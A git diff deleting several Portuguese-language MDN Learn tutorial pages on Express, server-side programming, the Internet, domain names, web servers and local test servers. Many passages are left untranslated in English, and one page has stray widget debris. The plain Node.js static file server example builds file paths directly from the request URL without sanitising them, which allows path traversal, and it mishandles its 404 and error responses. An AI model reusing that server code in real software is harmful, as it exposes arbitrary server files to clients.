Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.

- -

For more information see Database integration (Express docs).

- -

Renderização de dados (visualizações)

- -

Template engines (referred to as "view engines" by Express) allow you to specify the structure of an output document in a template, using placeholders for data that will be filled in when a page is generated. Templates are often used to create HTML, but can also create other types of documents. Express has support for a number of template engines, and there is a useful comparison of the more popular engines here: Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More.

- -

In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)

- -
var express = require('express');
-var app = express();
-
-// Set directory to contain the templates ('views')
-app.set('views', path.join(__dirname, 'views'));
-
-// Set view engine to use, in this case 'some_template_engine_name'
-app.set('view engine', 'some_template_engine_name');
-
- -

The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.<template_extension>" that contains placeholders for data variables named 'title' and "message", you would call Response.render() in a route handler function to create and send the HTML response:

- -
app.get('/', function(req, res) {
-  res.render('index', { title: 'About dogs', message: 'Dogs rock!' });
-});
- -

For more information see Using template engines with Express (Express docs).

- -

Estrutura de ficheiro

- -

Express makes no assumptions in terms of structure or what components you use. Routes, views, static files, and other application-specific logic can live in any number of files with any directory structure. While it is perfectly possible to have the whole Express application in one file, typically it makes sense to split your application into files based on function (e.g. account management, blogs, discussion boards) and architectural problem domain (e.g. model, view or controller if you happen to be using an MVC architecture).

- -

In a later topic we'll use the Express Application Generator, which creates a modular app skeleton that we can easily extend for creating web applications.

- - - -

Resumo

- -

Congratulations, you've completed the first step in your Express/Node journey! You should now understand Express and Node's main benefits, and roughly what the main parts of an Express app might look like (routes, middleware, error handling, and template code). You should also understand that with Express being an unopinionated framework, the way you pull these parts together and the libraries that you use are largely up to you!

- -

Of course Express is deliberately a very lightweight web application framework, so much of its benefit and potential comes from third party libraries and features. We'll look at those in more detail in the following articles. In our next article we're going to look at setting up a Node development environment, so that you can start seeing some Express code in action.

- -

Consulte também

- - - -
{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
- -

Neste módulo

- - diff --git a/files/pt-pt/learn/no-servidor/index.html b/files/pt-pt/learn/no-servidor/index.html deleted file mode 100644 index b8cc8d35f7..0000000000 --- a/files/pt-pt/learn/no-servidor/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Programação do site da Web no lado do servidor -slug: Learn/No-servidor -tags: - - Aprender - - Código - - Iniciante - - Introdução - - Programação no servidor - - Scripting - - Servidor - - Tópico -translation_of: Learn/Server-side ---- -
{{LearnSidebar}}
- -

O tópico Sites da Web Dinâmicos - Programação no lado do servidor é uma série de módulos que mostram como criar sites da web dinâmicos; sites da web que entregam informação personalizada em resposta aos pedidos de HTTP. Os módulos proporcionam uma introdução genérica à programação no lado do servidor, bem como guias especificamente desenvolvidos para principiantes sobre como utilizar as estruturas de Django (Python) e Express (Node.js/JavaScript) para criar aplicações básicas.

- -

A maioria dos maiores sites da web utilizam algum tipo de tecnologia no lado do servidor para exibir dados diferentes, conforme o necessário. Por exemplo, imagine quantos produtos é que estão disponíveis na Amazon e imagine quantos artigos é que foram escritos no Facebook? Exibir todo este conteúdo utilizando páginas estáticas completamente diferentes seria absolutamente ineficiente, assim em vez disso, estes sites exibem modelos estáticos (criados utilizando CSS, HTML e JavaScript), e depois atualizam os dados dinamicamente, exibindo-os dentro dos modelos quando necessário, por exemplo, quando tenta ver um produto diferente na Amazon.

- -

No mundo moderno do desenvolvimento da web, aprender sobre o desenvolvimento no lado do servidor é altamente recomendado.

- -

Caminho de aprendizagem

- -

Começar com programação web no servidor é, de um modo geral, mais fácil que começar com desenvolvimento no lado do cliente, pois páginas web dinâmicas tendem a executar operações muito similares (adquirir dados e guardar na base de dados, verificar as permissões dos usuários, registrar usuários, etc.) , e são construídos utilizando frameworks, os quais tornam estas e outras operações de servidores web fáceis.

- -

Ter conhecimentos básicos de conceitos de programação (ou de uma linguagem de programação específica) é útil, mas não essencial. Da mesma forma, experiência com código do lado do cliente não é absolutamente necessária, mas um conhecimento básico irá ajuda-lo a trabalhar melhor com os desenvolvedores que criam o "front-end" do seu website.

- -

Precisará de compreender "como a web funciona". Recomendamos que comece por ler os seguintes tópicos:

- - - -

Com a compreensão básica destes conceitos, estará pronto para continuar no seu caminho pelos módulos nesta secção.

- -

Módulos

- -

This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks . 

- -
-
Primeiros passos na programação web em servidores
-
This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.
-
Framework da Web Django (Python)
-
Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.
-
Express Web Framework (Node.js/JavaScript)
-
Express is a popular web framework, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.
-
- -

Consulte também

- -
-
Servidor de Node sem uma framework
-
Este artigo fornece um servidor de ficheiros estático simples criado com Node.js puro, para aqueles que não desejam utilizar uma framework.
-
diff --git a/files/pt-pt/learn/no-servidor/servidor_node_sem_framework/index.html b/files/pt-pt/learn/no-servidor/servidor_node_sem_framework/index.html deleted file mode 100644 index 85bd786b58..0000000000 --- a/files/pt-pt/learn/no-servidor/servidor_node_sem_framework/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Servidor de Node.js sem uma framework -slug: Learn/No-servidor/Servidor_node_sem_framework -tags: - - JavaScript - - Nodo - - Precisa de Conteúdo - - Servidor - - sem estrutura -translation_of: Learn/Server-side/Node_server_without_framework ---- -
{{LearnSidebar}}
- -

 

- -

Este artigo fornece um servidor de ficheiros estático simples com Node.js puro, sem a utilização de uma framework.

- -

NodeJS tem muitas frameworks para ajudá-lo a ter o seu servidor configurado e a funcionar.

- - - -

Estas não irão corresponder a todas as situações. Um programador pode precisar de criar o seu próprio servidor sem outras dependências.

- -

Exemplo

- -

Um servidor de ficheiros estático simples, criado com Node.js:

- -

 

- -
var http = require('http');
-var fs = require('fs');
-var path = require('path');
-
-http.createServer(function (request, response) {
-    console.log('request ', request.url);
-
-    var filePath = '.' + request.url;
-    if (filePath == './') {
-        filePath = './index.html';
-    }
-
-    var extname = String(path.extname(filePath)).toLowerCase();
-    var contentType = 'text/html';
-    var mimeTypes = {
-        '.html': 'text/html',
-        '.js': 'text/javascript',
-        '.css': 'text/css',
-        '.json': 'application/json',
-        '.png': 'image/png',
-        '.jpg': 'image/jpg',
-        '.gif': 'image/gif',
-        '.wav': 'audio/wav',
-        '.mp4': 'video/mp4',
-        '.woff': 'application/font-woff',
-        '.ttf': 'application/font-ttf',
-        '.eot': 'application/vnd.ms-fontobject',
-        '.otf': 'application/font-otf',
-        '.svg': 'application/image/svg+xml'
-    };
-
-    contentType = mimeTypes[extname] || 'application/octet-stream';
-
-    fs.readFile(filePath, function(error, content) {
-        if (error) {
-            if(error.code == 'ENOENT'){
-                fs.readFile('./404.html', function(error, content) {
-                    response.writeHead(200, { 'Content-Type': contentType });
-                    response.end(content, 'utf-8');
-                });
-            }
-            else {
-                response.writeHead(500);
-                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
-                response.end();
-            }
-        }
-        else {
-            response.writeHead(200, { 'Content-Type': contentType });
-            response.end(content, 'utf-8');
-        }
-    });
-
-}).listen(8125);
-console.log('Server running at http://127.0.0.1:8125/');
- -

 

- -

A efetuar

- -

Estenda este artigo, explicando como é que o código acima funciona. Talvez, uma versão estendida que sirva os ficheiros estáticos e lide com pedidos dinâmicos.

diff --git a/files/pt-pt/learn/questoes_comuns/como_funciona_a_internet/index.html b/files/pt-pt/learn/questoes_comuns/como_funciona_a_internet/index.html deleted file mode 100644 index d2ba60f9a3..0000000000 --- a/files/pt-pt/learn/questoes_comuns/como_funciona_a_internet/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Como funciona Internet? -slug: Learn/Questoes_comuns/Como_funciona_a_Internet -tags: - - Mecânica da Web - - Principiante - - Tutorial -translation_of: Learn/Common_questions/How_does_the_Internet_work ---- -
{{LearnSidebar}}
- -
-

This article discusses what the Internet is and how it works.

-
- - - - - - - - - - - - -
Prerequisites:None, but we encourage you to read the Article on setting project goals first
Objective:You will learn the basics of the technical infrastructure of the Web and the difference between Internet and the Web.
- -

Resumo

- -

The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together.

- -

The history of the Internet is somewhat obscure. It began in the 1960s as a US-army-funded research project, then evolved into a public infrastructure in the 1980s with the support of many public universities and private companies. The various technologies that support the Internet have evolved over time, but the way it works hasn't changed that much: Internet is a way to connect computers all together and ensure that, whatever happens, they find a way to stay connected.

- -

Active Learning

- - - -

Deeper dive

- -

A simple network

- -

When two computers need to communicate, you have to link them, either physically (usually with an Ethernet cable) or wirelessly (for example with WiFi or Bluetooth systems). All modern computers can sustain any of those connections.

- -
-

Note: For the rest of this article, we will only talk about physical cables, but wireless networks work the same.

-
- -

Two computers linked together

- -

Such a network is not limited to two computers. You can connect as many computers as you wish. But it gets complicated quickly. If you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer!

- -

Ten computers all together

- -

To solve this problem, each computer on a network is connected to a special tiny computer called a router. This router has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. To send a message to computer B, computer A must send the message to the router, which in turn forwards the message to computer B and makes sure the message is not delivered to computer C.

- -

Once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs.

- -

Ten computers with a router

- -

A rede das redes

- -

So far so good. But what about connecting hundreds, thousands, billions of computers? Of course a single router can't scale that far, but, if you read carefully, we said that a router is a computer like any other, so what keeps us from connecting two routers together? Nothing, so let's do that.

- -

Two routers linked together

- -

By connecting computers to routers, then routers to routers, we are able to scale infinitely.

- -

Routers linked to routers

- -

Such a network comes very close to what we call the Internet, but we're missing something. We built that network for our own purposes. There are other networks out there: your friends, your neighbors, anyone can have their own network of computers. But it's not really possible to set cables up between your house and the rest of the world, so how can you handle this? Well, there are already cables linked to your house, for example, electric power and telephone. The telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. To connect our network to the telephone infrastructure, we need a special piece of equipment called a modem. This modem turns the information from our network into information manageable by the telephone infrastructure and vice versa.

- -

A router linked to a modem

- -

So we are connected to the telephone infrastructure. The next step is to send the messages from our network to the network we want to reach. To do that, we will connect our network to an Internet Service Provider (ISP). An ISP is a company that manages some special routers that are all linked together and can also access other ISPs' routers. So the message from our network is carried through the network of ISP networks to the destination network. The Internet consists of this whole infrastructure of networks.

- -

Full Internet stack

- -

Encontrar computadores

- -

If you want to send a message to a computer, you have to specify which one. Thus any computer linked to a network has a unique address that identifies it, called an "IP address" (where IP stands for Internet Protocol). It's an address made of a series of four numbers separated by dots, for example: 192.168.2.10.

- -

That's perfectly fine for computers, but we human beings have a hard time remembering that sort of address. To make things easier, we can alias an IP address with a human readable name called a domain name. For example (at the time of writing; IP addresses can change) google.com is the domain name used on top of the IP address 173.194.121.32. So using the domain name is the easiest way for us to reach a computer over the Internet.

- -

Show how a domain name can alias an IP address

- -

Internet e a Web

- -

As you might notice, when we browse the Web with a Web browser, we usually use the domain name to reach a website. Does that mean the Internet and the Web are the same thing? It's not that simple. As we saw, the Internet is a technical infrastructure which allows billions of computers to be connected all together. Among those computers, some computers (called Web servers) can send messages intelligible to web browsers. The Internet is an infrastructure, whereas the Web is a service built on top of the infrastructure. It is worth noting there are several other services built on top of the Internet, such as email and {{Glossary("IRC")}}.

- -

Passos seguintes

- - diff --git a/files/pt-pt/learn/questoes_comuns/congiurar_um_servidor_de_testes_local/index.html b/files/pt-pt/learn/questoes_comuns/congiurar_um_servidor_de_testes_local/index.html deleted file mode 100644 index 389407247d..0000000000 --- a/files/pt-pt/learn/questoes_comuns/congiurar_um_servidor_de_testes_local/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Como configurar um servidor local de testes? -slug: Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local -tags: - - Aprender - - Nodo - - PHP - - Principiante - - Python - - django - - servidores -translation_of: Learn/Common_questions/set_up_a_local_testing_server ---- -
-

Este artigo explica como configurar um servidor de testes local simples  na sua máquina, e como o utilizar.

-
- - - - - - - - - - - - -
Pré-requisitos:pprimeiro, precisa de saber como é que a Internet funciona, e o que é um servidor da Web.
Objetivo:You will learn how to set up a local testing server.
- -

Ficheiros locais vs. ficheiros remotos

- -

Throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the HTML file, dragging and dropping it into the browser window, or choosing File > Open... and navigating to the HTML file. There are many ways to achieve this.

- -

If the web address path starts with file:// followed by the path to the file on your local hard drive, a local file is being used. In contrast, if you view one of our examples hosted on GitHub (or an example on some other remote server), the web address will start with http:// or https://, to show that the file has been received via HTTP.

- -

O problema com o teste de ficheiros locais

- -

Some examples won't run if you open them as local files. This can be due to a variety of reasons, the most likely being:

- - - -

Executar um servidor um servidor local de HTTP simples

- -

To get around the problem of async requests, we need to test such examples by running them through a local web server. One of the easiest ways to do this for our purposes is to use Python's SimpleHTTPServer module.

- -

To do this:

- -
    -
  1. -

    Install Python. If you are using Linux or Mac OS X, it should be available on your system already. If you are a Windows user, you can get an installer from the Python homepage and follow the instructions to install it:

    - -
      -
    • Go to python.org
    • -
    • Under the Download section, click the link for Python "3.xxx".
    • -
    • At the bottom of the page, choose the Windows x86 executable installer and download it.
    • -
    • When it has downloaded, run it.
    • -
    • On the first installer page, make sure you check the "Add Python 3.xxx to PATH" checkbox.
    • -
    • Click Install, then click Close when the installation has finished.
    • -
    -
  2. -
  3. -

    Open your command prompt (Windows)/terminal (OS X/Linux). To check Python is installed, enter the following command:

    - -
    python -V
    -
  4. -
  5. -

    This should return a version number. If this is OK, navigate to the directory that your example is inside, using the cd command.

    - -
    # include the directory name to enter it, for example
    -cd Desktop
    -# use two dots to jump up one directory level if you need to
    -cd ..
    -
  6. -
  7. -

    Enter the command to start up the server in that directory:

    - -
    # If Python version returned above is 3.X
    -python -m http.server
    -# If Python version returned above is 2.X
    -python -m SimpleHTTPServer
    -
  8. -
  9. -

    By default, this will run the contents of the directory on a local web server, on port 8000. You can go to this server by going to the URL localhost:8000 in your web browser. Here you'll see the contents of the directory listed — click the HTML file you want to run.

    -
  10. -
- -
-

Note: If you already have something running on port 8000, you can choose another port by running the server command followed by an alternative port number, e.g. python -m http.server 7800 (Python 3.x) or python -m SimpleHTTPServer 7800 (Python 2.x). You can then access your content at localhost:7800.

-
- -

Running server-side languages locally

- -

Python's SimpleHTTPServer module is useful, but it doesn't know how to run code written in languages such as PHP or Python. To handle that you'll need something more — exactly what you'll need depends on the server-side language you are trying to run. Here are a few examples:

- - - -
- - - - -
-
-
 
- -
-
G
- -
M
- -
T
-
- -
-
 
- -
 
-
- -
- - - - - - - - - - - - -
-
 
-
-
 
-
-
 
-
-
 
- -
 
-
-
 
-
-
 
-
-
-
- -
 
- -
 
- -
 
- -
A função de fala é limitada a 200 caracteres
- -
-
 
- - - - - - - - -
-
 
-
Opções : Histórico : Comentários : DonateEncerrar
-
-
-
diff --git a/files/pt-pt/learn/questoes_comuns/index.html b/files/pt-pt/learn/questoes_comuns/index.html deleted file mode 100644 index 62deec5d05..0000000000 --- a/files/pt-pt/learn/questoes_comuns/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Questões Comuns -slug: Learn/Questoes_comuns -translation_of: Learn/Common_questions ---- -
{{LearnSidebar}}
- -

This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the HTML or CSS learning articles.) These articles are designed to work on their own.

- -

Como é que a Web funciona

- -

This section covers web mechanics —questions relating to general knowledge of the Web ecosystem and how it works.

- -
-
-

Como é que a Internet funciona?

-
-
The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together. This article discusses how it works, at a basic level.
-
-

Qual é a diferença entre página da Web, site da Web, servidor da Web, e motor de pesquisa?

-
-
In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!
-
-

O que é um URL?

-
-
With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.
-
-

O que é um nome de domínio?

-
-
Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.
-
-

O que é um servidor da Web?

-
-
The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.
-
-

O que são hiperligações?

-
-
In this article, we'll go over what hyperlinks are and why they matter.
-
- -

Ferramentas e configuração

- -

Questions related to the tools/software you can use to build websites.

- -
-
-

How much does it cost to do something on the Web?

-
-
When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).
-
-

What software do I need to build a website?

-
-
In this article we explain which software components you need when you're editing, uploading, or viewing a website.
-
-

What text editors are available?

-
-
In this article we highlight some things to think about when choosing and installing a text editor for web development.
-
-

How do I set up a basic working environment?

-
-
When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.
-
-

What are browser developer tools?

-
-
Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.
-
-

How do you make sure your website works properly?

-
-
So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.
-
-

How do you set up a local testing server?

-
-
-
-

This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.

-
-
-
-

How do you upload files to a web server?

-
-
This article shows how to publish your site online with FTP tools — one fo the most common ways to get a website online so others can access it from their computers.
-
-

How do I use GitHub Pages?

-
-
This article provides a basic guide to publishing content using GitHub's gh-pages feature.
-
-

How do you host your website on Google App Engine?

-
-
Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.
-
-

What tools are available to debug and improve website performance?

-
-
This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.
-
- -

Desenho e acessibilidade

- -

This section lists questions related to aesthetics, page structure, accessibility techniques, etc.

- -
-
-

How do I start to design my website?

-
-
This article covers the all-important first step of every project: define what you want to accomplish with it.
-
-

What do common web layouts contain?

-
-
When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.
-
-

What is accessibility?

-
-
This article introduces the basic concepts behind web accessibility.
-
-

How can we design for all types of users?

-
-
This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.
-
-

What HTML features promote accessibility?

-
-
This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.
-
- -

Questões sobre HTML, CSS e JavaScript

- -

Para soluções comuns para problemas de HTML/CSS/JavaScript, tente os seguintes artigos:

- - diff --git a/files/pt-pt/learn/questoes_comuns/o_que_e_um_nome_de_dominio/index.html b/files/pt-pt/learn/questoes_comuns/o_que_e_um_nome_de_dominio/index.html deleted file mode 100644 index b490ab9789..0000000000 --- a/files/pt-pt/learn/questoes_comuns/o_que_e_um_nome_de_dominio/index.html +++ /dev/null @@ -1,234 +0,0 @@ ---- -title: O que é um nome de domíno? -slug: Learn/Questoes_comuns/O_que_e_um_nome_de_dominio -tags: - - Infraestrutura - - Introdução - - Nomes de domínio - - Principiante - - Web -translation_of: Learn/Common_questions/What_is_a_domain_name ---- -
-

In this article we discuss domain names: what they are, how they are structured, and how to get one.

-
- - - - - - - - - - - - -
Pré-requisitos:First you need to know how the Internet works and understand what URLs are.
Objetivo:Learn what domain names are, how they work, and why they are important.
- -

Resumo

- -

Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.

- -

Any Internet-connected computer can be reached through a public {{Glossary("IP")}} Address, which consists of 32 bits for IPv4 (they are usually written as four numbers between 0 and 255, separated by dots (e.g., 173.194.121.32) or which consists of 128 bits for IPv6 (they are usually written as eight groups of 4 hexadecimal numbers, separated by colons (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Computers can handle those addresses easily, but people have a hard time finding out who's running the server or what service the website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use human-readable addresses called domain names.

- -

Aprendizagem Ativa

- -

There is no active learning available yet. Please, consider contributing.

- -

Deeper dive

- -

Estrutura dos nomes de domínio

- -

A domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read from right to left:

- -

Anatomy of the MDN domain name

- -

Each of those  parts provides specific information about the whole domain name.

- -
-
{{Glossary("TLD")}} (Top-Level Domain).
-
The TLD provides the most generic information. TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require web services to meet strict criteria, but some TLDs enforce stricter policies. For example, local TLDs such as .us, .fr, or .sh can require the service to be provided in a given language or hosted in a certain country.
-
Label (or component)
-
The labels are what follow the TLD. A label can be anything, from one letter to a full sentence. The label located right before the TLD can also be referred as a Secondary Level Domain (SLD). A domain name can have many labels (or components), it is not mandatory nor necessary to have 3 labels to form a domain name. For instance, www.inf.ed.ac.uk is a correct domain name. When controlling the "upper" part of a domain name (e.g. mozilla.org), one can create other domain names (sometimes called "subdomains") (e.g. developer.mozilla.org).
-
- -

Comprar um nome de domínio

- -

Who owns a domain name?

- -

You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.

- -

Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.

- -
-

Nota : For some domain name, it might not be a registrar which is in charge of keeping track. For instance, every domain name under .fire is managed by Amazon.

-
- -

Encontrar um nome de domínio disponível

- -

To find out whether a given domain name is available,

- - - -
$ whois mozilla.org
-Domain Name:MOZILLA.ORG
-Domain ID: D1409563-LROR
-Creation Date: 1998-01-24T05:00:00Z
-Updated Date: 2013-12-08T01:16:57Z
-Registry Expiry Date: 2015-01-23T05:00:00Z
-Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
-Sponsoring Registrar IANA ID: 292
-WHOIS Server:
-Referral URL:
-Domain Status: clientDeleteProhibited
-Domain Status: clientTransferProhibited
-Domain Status: clientUpdateProhibited
-Registrant ID:mmr-33684
-Registrant Name:DNS Admin
-Registrant Organization:Mozilla Foundation
-Registrant Street: 650 Castro St Ste 300
-Registrant City:Mountain View
-Registrant State/Province:CA
-Registrant Postal Code:94041
-Registrant Country:US
-Registrant Phone:+1.6509030800
-
- -

As you can see, I can't register mozilla.org because the Mozilla Foundation has already registered it.

- -

On the other hand, let's see if I could register afunkydomainname.org:

- -
$ whois afunkydomainname.org
-NOT FOUND
-
- -

As you can see, the domain does not exist in the whois database (at the time of writing), so we could ask to register it. Good to know!

- -

Obter um nome de domínio

- -

The process is quite straightforward:

- -
    -
  1. Go to a registrar's website.
  2. -
  3. Usually there is a prominent “Get a domain name” call to action. Click on it.
  4. -
  5. Fill out the form with all required details. Make sure especially that you have not misspelled your desired domain name. Once it's paid for, it's too late!
  6. -
  7. The registrar will let you know when the domain name is properly registered. Within a few hours, all DNS servers will have received your DNS information.
  8. -
- -
-

Nota: In this process the registrar asks you for your real-world address. Make sure you fill it properly, since in some countries registrars may be forced to close the domain if they cannot provide a valid address.

-
- -

Atualizar DNS

- -

DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.

- -
-

Nota : This time is often called propagation time. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.

-
- -

Como funciona um pedido de DNS?

- -

As we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an IP address. Let's take a look at the process:

- -
    -
  1. Type mozilla.org in your browser's location bar.
  2. -
  3. Your browser asks your computer if it already recognizes the IP address identified by this domain name (using a local DNS cache). If it does, the name is translated to the IP address and the browser negotiates contents with the web server. End of story.
  4. -
  5. If your computer does not know which IP is behind the mozilla.org name, it goes on to ask a DNS server, whose job is precisely to tell your computer which IP address matches each registered domain name.
  6. -
  7. Now that the computer knows the requested IP address, your browser can negotiate contents with the web server.
  8. -
- -

Explanation of the steps needed to obtain the result to a DNS request

- -

Passos seguintes

- -

Okay, we talked a lot about processes and architecture. Time to move on.

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/questoes_comuns/o_que_e_um_servidor_da_web/index.html b/files/pt-pt/learn/questoes_comuns/o_que_e_um_servidor_da_web/index.html deleted file mode 100644 index a91ef08d6c..0000000000 --- a/files/pt-pt/learn/questoes_comuns/o_que_e_um_servidor_da_web/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: O que é um servidor da Web? -slug: Learn/Questoes_comuns/O_que_e_um_servidor_da_Web -tags: - - Infraestrutura - - Principiante -translation_of: Learn/Common_questions/What_is_a_web_server ---- -
-

Neste artigo, nós examinamos quais são os servidores da Web, como é que estes funcionam, e por que é que eles são importantes.

-
- - - - - - - - - - - - -
Pré-requisitos:You should already know how the Internet works, and understand the difference between a web page, a web site, a web server and a search engine.
Objetivo:You will learn what a web server is and gain a general understanding of how it works.
- -

Resumo

- -

"Web server" can refer to hardware or software, or both of them working together.

- -
    -
  1. On the hardware side, a web server is a computer that stores a website's component files (e.g. HTML documents, images, CSS stylesheets, and JavaScript files) and delivers them to the end-user's device. It is connected to the Internet and can be accessed through a domain name like mozilla.org.
  2. -
  3. On the software side, a web server includes several parts that control how web users access hosted files, at minimum an HTTP server. An HTTP server is a piece of software that understands {{Glossary("URL","URLs")}} (web addresses) and {{Glossary("HTTP")}} (the protocol your browser uses to view webpages).
  4. -
- -

At the most basic level, whenever a browser needs a file hosted on a web server, the browser requests the file via HTTP. When the request reaches the correct web server (hardware), the HTTP server (software) sends the requested document back, also through HTTP.

- -

Basic representation of a client/server connection through HTTP

- -

To publish a website, you need either a static or a dynamic web server.

- -

A static web server, or stack, consists of a computer (hardware) with an HTTP server (software). We call it "static" because the server sends its hosted files "as-is" to your browser.

- -

A dynamic web server consists of a static web server plus extra software, most commonly an application server and a database. We call it "dynamic" because the application server updates the hosted files before sending them to your browser via the HTTP server.

- -

For example, to produce the final webpages you see in the browser, the application server might fill an HTML template with contents from a database. Sites like MDN or Wikipedia have many thousands of webpages, but they aren't real HTML documents, only a few HTML templates and a giant database. This setup makes it easier and quicker to maintain and deliver the content.

- -

Aprendizagem ativa

- -

Ainda não está disponível nenhuma aprendizagem ativa. Por favor, considere contribuir.

- -

Deeper dive

- -

To fetch a webpage, as we already said, your browser sends a request to the web server, which proceeds to search for the requested file in its own storage space. On finding the file, the server reads it, processes it as needed, and sends it to the browser. Let's look at those steps in more detail.

- -

Hosting files

- -

A web server first has to store the website's files, namely all HTML documents and their related assets, including images, CSS stylesheets, JavaScript files, fonts, and videos.

- -

Technically, you could host all those files on your own computer, but it's far more convenient to store them all on a dedicated web server that

- - - -

For all these reasons, finding a good hosting provider is a key part of building your website. Dig through the various services companies offer and choose one that fits your needs and your budget (services range from free to thousands of dollars per month). You can find more details in this article.

- -

Once you set up a web hosting solution, you just have to upload your files to your web server.

- -

Communicating through HTTP

- -

Second, a web server provides support for {{Glossary("HTTP")}} (Hypertext Transfer Protocol). As its name implies, HTTP specifies how to transfer hypertext (i.e., linked web documents) between two computers.

- -

A protocol is a set of rules for communication between two computers. HTTP is a textual, stateless protocol.

- -
-
Textual
-
All commands are plain-text and human-readable.
-
Stateless
-
Neither the server nor the client remember previous communications. For example, relying on HTTP alone, a server cannot remember a password you typed or what step you're on in a transaction. You need an application server for tasks like that. (We'll cover that sort of technology in further articles.)
-
- -

HTTP provides clear rules for how a client and server communicate. We'll cover HTTP itself in a technical article later on. For now, just be aware of these things:

- - - -

The MDN 404 page as an example of such error pageOn a web server, the HTTP server is responsible for processing and answering incoming requests.

- -
    -
  1. On receiving a request, an HTTP server first checks whether the requested URL matches an existing file.
  2. -
  3. If so, the web server sends the file content back to the browser. If not, an application server builds the necessary file.
  4. -
  5. If neither process is possible, the web server returns an error message to the browser, most commonly "404 Not Found". (That error is so common that many web designers spend quite some time designing 404 error pages.)
  6. -
- -

Static vs. dynamic content

- -

Roughly speaking, a server can serve either static or dynamic content. "Static" means "served as-is". Static websites are the easiest to set up, so we suggest you make your first site a static site.

- -

"Dynamic" means that the server processes the content or even generates it on the fly from a database. This solution provides more flexibility, but the technical stack becomes more difficult to handle, making it dramatically more complex to build the website.

- -

Take for example the page you're reading right now. On the web server hosting it, there is an application server that takes article content from a database, formats it, puts it inside some HTML templates, and sends you the results. In this case, the application server is called Kuma and is built with Python (using the Django framework). The Mozilla team built Kuma for the specific needs of MDN, but there are many similar applications built on many other technologies.

- -

